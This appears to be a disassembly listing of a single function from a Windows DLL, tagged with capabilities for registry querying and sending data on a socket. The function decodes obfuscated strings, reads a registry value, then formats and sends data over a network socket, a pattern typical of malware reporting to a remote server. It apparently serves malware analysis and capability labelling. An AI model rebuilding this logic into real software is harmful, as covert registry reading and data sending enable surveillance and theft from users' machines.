Function at 0x10004d10
Capabilities:
Query or enumerate registry value
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100388cd
mov eax, dword fs:[0]
push eax
sub esp, 0x174
mov eax, dword [0x1004b034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
lea edi, [ebx + 0x40]
mov eax, str.lFXrgAyTbPDSCHOwQAuIUXH18wJjHUCrsHktEcEtgfI0qskAlH2RLBccY233KNuO
lea esi, [ebp - 0x150]
mov dword [ebp - 0x13c], 0xf
mov dword [ebp - 0x140], ebx
mov byte [ebp - 0x150], bl
call fcn.10002d20
mov eax, esi
push eax
lea ecx, [ebp - 0x134]
push ecx
mov dword [ebp - 4], ebx
call fcn.10002420
add esp, 8
mov edi, eax
mov esi, 0x10052c78
mov byte [ebp - 4], 1
call fcn.100032d0
mov edi, 0x10
cmp dword [ebp - 0x120], edi
jb 0x10004dab
mov edx, dword [ebp - 0x134]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov esi, 0xf
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x120], esi
mov dword [ebp - 0x124], ebx
mov byte [ebp - 0x134], bl
cmp dword [ebp - 0x13c], edi
jb 0x10004de1
mov eax, dword [ebp - 0x150]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x13c], esi
mov edi, 0x18
mov eax, str.tKFyPOJK03I26txU24wS5Q
lea esi, [ebp - 0x150]
mov dword [ebp - 0x140], ebx
mov byte [ebp - 0x150], bl
call fcn.10002d20
mov ecx, esi
push ecx
lea edx, [ebp - 0x134]
push edx
mov dword [ebp - 4], 2
call fcn.10002420
add esp, 8
mov edi, eax
mov esi, 0x10052c94
mov byte [ebp - 4], 3
call fcn.100032d0
mov edi, 0x10
cmp dword [ebp - 0x120], edi
jb 0x10004e4e
mov eax, dword [ebp - 0x134]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x120], 0xf
mov dword [ebp - 0x124], ebx
mov byte [ebp - 0x134], bl
cmp dword [ebp - 0x13c], edi
jb 0x10004e83
mov ecx, dword [ebp - 0x150]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor eax, eax
mov edx, 0x31
mov dword [ebp - 0x172], eax
mov dword [ebp - 0x16e], eax
mov dword [ebp - 0x16a], eax
mov dword [ebp - 0x166], eax
mov dword [ebp - 0x162], eax
mov dword [ebp - 0x15e], eax
mov dword [ebp - 0x15a], eax
mov dword [ebp - 0x156], eax
mov word [ebp - 0x152], ax
mov eax, dword [0x10052c78]
mov word [ebp - 0x174], dx
mov dword [ebp - 0x178], ebx
mov dword [ebp - 0x17c], ebx
mov dword [ebp - 0x180], 0x104
cmp dword [0x10052c8c], edi
jae 0x10004ef0
mov eax, 0x10052c78
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x178]
push ecx
push 1
push ebx
push eax
push connect
call esi
cmp eax, ebx
jg 0x1000505d
mov eax, dword [0x10052c78]
cmp dword [0x10052c8c], edi
jae 0x10004f22
mov eax, 0x10052c78
lea edx, [ebp - 0x178]
push edx
push 1
push ebx
push eax
push connect
call esi
cmp eax, ebx
jne 0x1000505d
mov eax, dword [0x10052c94]
mov dword [ebp - 0x17c], 1
cmp dword [0x10052ca8], edi
jae 0x10004f58
mov eax, 0x10052c94
lea ecx, [ebp - 0x180]
push ecx
lea edx, [ebp - 0x118]
push edx
mov edx, dword [ebp - 0x178]
lea ecx, [ebp - 0x17c]
push ecx
push ebx
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x174]
lea eax, [ebp - 0x118]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10004fa8
cmp dl, bl
je 0x10004fa4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10004fa8
add eax, 2
add ecx, 2
cmp dl, bl
jne 0x10004f88
xor eax, eax
jmp 0x10004fad
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x1000505d
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10003e30
lea eax, [ebp - 0x134]
push 0x10052c78
push eax
call fcn.10002920
add esp, 8
mov edi, eax
mov esi, 0x10052c78
mov dword [ebp - 4], 4
call fcn.100032d0
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x120], 0x10
jb 0x1000500c
mov ecx, dword [ebp - 0x134]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
cmp byte [0x1015ec3b], 1
jne 0x1000504d
mov edx, dword [0x1015ec14]
mov eax, dword [0x1015ec10]
push edx
push eax
push 0x1004055c
push 0x1015e89c
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [0x1015f4ac]
add esp, 0x10
push ebx
push 0x104
push 0x1015e89c
push ecx
call dword [sym.imp.WS2_32.dll_send]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10009910
lea edx, [ebp - 0x134]
push 0x10052c78
push edx
call fcn.10002920
add esp, 8
mov edi, eax
mov esi, 0x10052c78
mov dword [ebp - 4], 5
call fcn.100032d0
mov ebx, 0x10
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x120], ebx
jb 0x100050a8
mov eax, dword [ebp - 0x134]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea ecx, [ebp - 0x16c]
push 0x10052c94
push ecx
call fcn.10002920
add esp, 8
mov edi, eax
mov esi, 0x10052c94
mov dword [ebp - 4], 6
call fcn.100032d0
cmp dword [ebp - 0x158], ebx
jb 0x100050e7
mov edx, dword [ebp - 0x16c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [ebp - 0x178]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10034620
mov esp, ebp
pop ebp
ret